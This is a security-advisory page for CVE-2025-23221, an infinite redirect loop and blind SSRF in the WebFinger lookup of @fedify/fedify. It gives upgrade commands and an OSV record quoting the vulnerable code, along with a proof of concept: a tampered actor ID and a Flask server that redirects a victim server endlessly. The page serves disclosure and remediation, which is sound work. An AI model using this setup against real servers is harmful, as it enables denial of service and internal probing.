CVE-2025-23221: @fedify/fedify Infinite Loop And Blind SSRF Vulnerability
MODERATECVE-2025-23221 is a MODERATE (CVSS 5.4) infinite loop and blind ssrf vulnerability (CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop')) affecting @fedify/fedify libraries in the npm ecosystem. The issue involves infinite loop and blind ssrf found inside the webfinger mechanism in @fedify/fedify. Remediation is available by upgrading affected packages to version 1.0.14, 1.1.11, 1.2.11, 1.3.4.
CVE-2025-23221 at a Glance
Security Impact
CVSS: 5.4
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:N/A:L).
How to Fix CVE-2025-23221
To remediate this vulnerability, upgrade all affected @fedify/fedify dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install @fedify/fedify@1.0.14
npm install @fedify/fedify@1.1.11
npm install @fedify/fedify@1.2.11
npm install @fedify/fedify@1.3.4
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls @fedify/fedify
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2025-23221, inspect your project dependencies using npm:
npm ls @fedify/fedify
Analyze the terminal output to locate any version of @fedify/fedify in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.0.14), your application is affected.
Note: The npm ls @fedify/fedify command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop'), where the product contains an iteration or loop with an exit condition that cannot be reached, i.e., an infinite loop. In @fedify/fedify, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2025-23221 Affected @fedify/fedify Versions
4 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
@fedify/fedify
|
npm |
≥ 1.0.13
< 1.0.14
All 1 versions
1.0.13
|
1.0.14
|
|
@fedify/fedify
|
npm |
≥ 1.1.10
< 1.1.11
All 1 versions
1.1.10
|
1.1.11
|
|
@fedify/fedify
|
npm |
≥ 1.2.10
< 1.2.11
All 1 versions
1.2.10
|
1.2.11
|
|
@fedify/fedify
|
npm |
≥ 1.3.3
< 1.3.4
All 1 versions
1.3.3
|
1.3.4
|
References
Frequently Asked Questions
What is CVE-2025-23221?
Which @fedify/fedify versions are affected?
What version fixes CVE-2025-23221?
Is @fedify/fedify affected?
What is the CVSS score of CVE-2025-23221?
What CWE is associated with CVE-2025-23221?
How can I check npm dependencies for CVE-2025-23221?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-c59p-wq67-24wx",
"modified" : "2025-01-21T19:58:29Z",
"published" : "2025-01-21T19:58:29Z",
"aliases" : [ "CVE-2025-23221" ],
"summary" : "Infinite loop and Blind SSRF found inside the Webfinger mechanism in @fedify/fedify",
"details" : "### Summary\nThis vulnerability allows a user to maneuver the Webfinger mechanism to perform a GET request to any internal resource on any Host, Port, URL combination regardless of present security mechanisms, and forcing the victim’s server into an infinite loop causing Denial of Service.\nMoreover, this issue can also be maneuvered into performing a Blind SSRF attack.\n\n### Details\nThe Webfinger endpoint takes a remote domain for checking accounts as a feature, however, as per the ActivityPub spec (https://www.w3.org/TR/activitypub/#security-considerations), on the security considerations section at B.3, access to Localhost services should be prevented while running in production.\n\nThe **lookupWebFinger** function, responsible for returning an actor handler for received actor objects from a remote server, can be abused to perform a Denial of Service (DoS) and Blind SSRF attacks while attempting to resolve a malicious actor’s object.\nOn Fedify, two client-facing functions implement the **lookupWebFinger** function- **getActorHandle**, and **lookupObject**, which are both used as a wrapper for the vulnerable lookup function.\nAs the **lookupObject** function is implemented only for CLI usage, we won’t focus our PoC and explanation on it, but it is still vulnerable in the same way **getActorHandle** is.\n\nThe **getActorHandle** function is a wrapper function for the **getActorHandleInternal** function (both present at _/src/vocab/actor.ts_):\n```javascript\nasync function getActorHandleInternal(\n actor: Actor | URL,\n options: GetActorHandleOptions = {},\n): Promise<`@${string}@${string}` | `${string}@${string}`> {\n const actorId = actor instanceof URL ? actor : actor.id;\n if (actorId != null) {\n const result = await lookupWebFinger(actorId, {\n userAgent: options.userAgent,\n tracerProvider: options.tracerProvider,\n });\n if (result != null) {\n const aliases = [...(result.aliases ?? [])];\n if (result.subject != null) aliases.unshift(result.subject);\n for (const alias of aliases) {\n const match = alias.match(/^acct:([^@]+)@([^@]+)$/);\n if (match != null) {\n const hostname = new URL(`https://${match[2]}/`).hostname;\n if (\n hostname !== actorId.hostname &&\n !await verifyCrossOriginActorHandle(\n actorId.href,\n alias,\n options.userAgent,\n options.tracerProvider,\n )\n ) {\n continue;\n }\n return normalizeActorHandle(`@${match[1]}@${match[2]}`, options);\n }\n }\n }\n }\n if (\n !(actor instanceof URL) && actor.preferredUsername != null &&\n actor.id != null\n ) {\n return normalizeActorHandle(\n `@${actor.preferredUsername}@${actor.id.host}`,\n options,\n );\n }\n throw new TypeError(\n \"Actor does not have enough information to get the handle.\",\n );\n}\n```\n\nThe **actorId** parameter containing a URL of the actor ID sinks into the **lookupWebFinger** function which is a wrapper for the **lookupWebFingerInternal**:\n```javascript\nasync function lookupWebFingerInternal(\n resource: URL | string,\n options: LookupWebFingerOptions = {},\n): Promise<ResourceDescriptor | null> {\n if (typeof resource === \"string\") resource = new URL(resource);\n let protocol = \"https:\";\n let server: string;\n if (resource.protocol === \"acct:\") {\n const atPos = resource.pathname.lastIndexOf(\"@\");\n if (atPos < 0) return null;\n server = resource.pathname.substring(atPos + 1);\n if (server === \"\") return null;\n } else {\n protocol = resource.protocol;\n server = resource.host;\n }\n let url = new URL(`${protocol}//${server}/.well-known/webfinger`);\n url.searchParams.set(\"resource\", resource.href);\n while (true) {\n logger.debug(\n \"Fetching WebFinger resource descriptor from {url}...\",\n { url: url.href },\n );\n let response: Response;\n try {\n response = await fetch(url, {\n headers: {\n Accept: \"application/jrd+json\",\n \"User-Agent\": typeof options.userAgent === \"string\"\n ? options.userAgent\n : getUserAgent(options.userAgent),\n },\n redirect: \"manual\",\n });\n } catch (error) {\n logger.debug(\n \"Failed to fetch WebFinger resource descriptor: {error}\",\n { url: url.href, error },\n );\n return null;\n }\n if (\n response.status >= 300 && response.status < 400 &&\n response.headers.has(\"Location\")\n ) {\n url = new URL(\n response.headers.get(\"Location\")!,\n response.url == null || response.url === \"\" ? url : response.url,\n );\n continue;\n }\n if (!response.ok) {\n logger.debug(\n \"Failed to fetch WebFinger resource descriptor: {status} {statusText}.\",\n {\n url: url.href,\n status: response.status,\n statusText: response.statusText,\n },\n );\n return null;\n }\n try {\n return await response.json() as ResourceDescriptor;\n } catch (e) {\n if (e instanceof SyntaxError) {\n logger.debug(\n \"Failed to parse WebFinger resource descriptor as JSON: {error}\",\n { error: e },\n );\n return null;\n }\n throw e;\n }\n }\n}\n```\n\nThe function takes the **actorId** parameter containing the actor ID URL, extracts the scheme and uses the rest of the URL (host+port+path) directly inside a hard-coded Webfinger URL address which in turn sinks into a fetch request.\n\nOn the fetch request, the **redirect** attribute is set to “**manual**” preventing automated redirects. However, redirects are still handled using custom code that loops over responses and re-fetching the URL found inside the “Location” header until receiving a valid response or an error occurs (loop keeps until 300>status code>400).\n\nThis custom redirect implementation contains multiple issues:\n1.The redirect loop is endless ( while(true) loop ) without any iteration limiting, allowing attackers to perform DoS via endless redirecting.\n2. A Blind SSRF attack to any URL, with arbitrary Host, Port and Path is possible via the current custom redirect implementation.\n3. As the redirect handler is a custom one, it breaches the security mechanisms presented by the native redirect handler of fetch - allowing the attacker to redirect to different schemes such as data or file schemes.\n\nIn order to successfully perform any of the attacks described above, an attacker needs to create a federated app which presents a malicious actor object, containing an actor ID URL of a second server which performs a recursive redirect to itself, or a URL containing an internal resource.\n\n\n### PoC\n1. In order to show a use case of the vulnerability, we can use the demo app presented at this URL: https://github.com/dahlia/microblog.\n2. We will create two machines, victim and attacker, each one on a different server with different domains.\n\n**_Victim Machine_**\n1. Create a new instance (we tested on ubuntu’s latest version), and update the package manager.\n2. Install a Deno server:\n`\ncurl -fsSL https://deno.land/install.sh | sh\n`\n`\nsource ~/.bashrc\n`\n`\ndeno --version #check deno is working\n`\n3. Pull the git repository of the victim blog app:\n`\ngit clone https://github.com/dahlia/fedify.git\n`\n4. Modify the federation object to remove signature checks for the sake of easy testing:\nOn file **_/examples/blog/federation/mod.ts_** edit the **_createFederation<void>_** object the following attribute: **_skipSignatureVerification: true_**.\n5. Change into the blog app directory ( /examples/blog ) and run the app:\n`\ndeno task preview\n`\n6. Surf to the application on the browser, and register a user on the app.\n\n**_Attacker Machine_**\n1. Create a new instance (we tested on ubuntu’s latest version), and update the package manager.\n2. Install NVM in order to install the latest version of NPM and NODEJS (and source current shell to check it worked):\n`\ncurl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.40.1/install.sh | bash\n`\n`\nsource ~/.bashrc\n`\n`\nnvm list-remote\n`\n3. Install the latest stable version:\n`\nnvm install {latest_ver} #for example: v20.10.0\n`\n`\nsource ~/.bashrc\n`\n`\nnpm -v #check it works\n`\n`\nnode -v #check it works\n`\n4. Download the attacker app repository:\n`\ngit clone https://github.com/dahlia/microblog.git\n`\n5. Disable request signature validations:\nEdit the **_/src/federation.ts_** file and add a **_skipSignatureVerification: true_** attribute to the **_createFederation_** object.\n6. Modify the **_/src/federation.ts_** file and tamper with the Person object on the actor dispatcher ( **_setActorDispatcher(\"/users/{identifier}\"_** ) - change the actor ID attribute **_“id: ctx.getActorUri(identifier)_**” into “**_id: new URL(‘http://<ATTACKER_MACHINE_DOMAIN>:1337/users/enterloop’)_**”.\n7. Install python flask and create the Python Flask redirect server:\n`\napt update\n`\n`\napt install python3-flask\n`\n```python\nfrom flask import Flask, redirect\n\napp = Flask(__name__)\n\n@app.route('/health')\ndef health():\n return \"hello\", 200\n\n@app.route('/.well-known/webfinger')\ndef ssrfinger():\n return redirect(\"http://<ATTACKER_MACHINE_DOMAIN>:1337/endlessloop\")\n\n@app.route('/endlessloop')\ndef endlessloop():\n return redirect(\"http://<ATTACKER_MACHINE_DOMAIN>:1337/endlessloop\")\n\nif __name__ == '__main__':\n app.run(debug=True,host='0.0.0.0' ,port=1337)\n```\n8. Run the python server and attempt to reach the “**_/health_**” path to see the server functions as expected.\n9. Read the **_README.txt_** file on the attacker app and follow the instructions on how to execute the app.\n10. Surf the app on the browser and attempt to follow the federated user on the victim’s machine.\n11. Send the “follow” request and watch the victim app continue to query the redirect server infinitely (It is possible to repeat this step multiple times causing multiple loops).\n\n\n### Impact\n1. Implement a limiting stop condition for the endless loop to prevent infinite loops.\n2. Validate the scheme while performing a manual redirection handler.\n3. For each web resource (for the **_lookupWebFinger_** function and also URLs found on the “**_Location_**” header inside the loop) use the “**_validatePublicUrl_**” function to verify that it is not targeting a local resource.\n",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:N/A:L"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "@fedify/fedify"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "1.0.13"
}, {
"fixed" : "1.0.14"
} ]
} ],
"versions" : [ "1.0.13" ]
}, {
"package" : {
"ecosystem" : "npm",
"name" : "@fedify/fedify"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "1.1.10"
}, {
"fixed" : "1.1.11"
} ]
} ],
"versions" : [ "1.1.10" ]
}, {
"package" : {
"ecosystem" : "npm",
"name" : "@fedify/fedify"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "1.2.10"
}, {
"fixed" : "1.2.11"
} ]
} ],
"versions" : [ "1.2.10" ]
}, {
"package" : {
"ecosystem" : "npm",
"name" : "@fedify/fedify"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "1.3.3"
}, {
"fixed" : "1.3.4"
} ]
} ],
"versions" : [ "1.3.3" ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/dahlia/fedify/security/advisories/GHSA-c59p-wq67-24wx"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-23221"
}, {
"type" : "WEB",
"url" : "https://github.com/dahlia/fedify/commit/8be3c2038eebf4ae12481683a1e809b314be3151"
}, {
"type" : "WEB",
"url" : "https://github.com/dahlia/fedify/commit/c505eb82fcd6b5b17174c6659c29721bc801ab9a"
}, {
"type" : "WEB",
"url" : "https://github.com/dahlia/fedify/commit/e921134dd5097586e4563ea80b9e8d1b5460a645"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/dahlia/fedify"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-835", "CWE-918" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2025-01-21T19:58:29Z",
"nvd_published_at" : "2025-01-20T17:15:07Z"
}
}